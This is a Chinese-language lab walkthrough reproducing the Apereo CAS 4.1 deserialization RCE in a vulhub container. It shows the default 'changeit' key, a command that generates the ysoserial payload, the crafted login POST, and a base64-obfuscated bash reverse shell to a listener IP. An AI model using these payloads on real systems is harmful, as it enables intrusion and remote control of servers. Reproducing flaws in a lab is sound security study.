Apereo-cas 4.1 反序列化 RCE 漏洞

Apereo-cas 4.1 反序列化 RCE 漏洞

一. 环境搭建

使用vulhub提供的文件创建漏洞复现环境

运行后将监听8080端口，访问http://your-ip:8080/cas/login查看登录页面。

二. Exploit

4.1.7 之前 Apereo CAS 的开箱即用默认配置使用默认密钥changeit：

public class EncryptedTranscoder implements Transcoder {
    private CipherBean cipherBean;
    private boolean compression = true;

    public EncryptedTranscoder() throws IOException {
        BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
        bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
        bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
        bufferedBlockCipherBean.setKeyAlias("aes128");
        bufferedBlockCipherBean.setKeyPassword("changeit");
        bufferedBlockCipherBean.setNonce(new RBGNonce());
        this.setCipherBean(bufferedBlockCipherBean);
    }

    // ...

我们可以尝试使用Apereo-CAS-Attack生成加密的ysoserial的序列化对象：

java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success"

使用Burp进行拦截并修改数据包

POST /cas/login HTTP/1.1
Host: your-ip
Content-Length: 2287
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://your-ip:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://your-ip:8080/cas/login
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: JSESSIONID=24FB4BAAE1A66E8B76D521EE366B3E12; _ga=GA1.1.1139210877.1586367734
Connection: close

username=test&password=test&lt=LT-2-gs2epe7hUYofoq0gI21Cf6WZqMiJyj-cas01.example.org&execution=[payload]&_eventId=submit&submit=LOGIN

这时我们查看容器中的/tmp目录下是否存在success文件

尝试进行反弹shell。

使用工具构造反弹shell的Payload。

java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjE5NS85ODc2IDA+JjEg}|{base64,-d}|{bash,-i}"

并在Kali监听9876端口

通过Burp使用Payload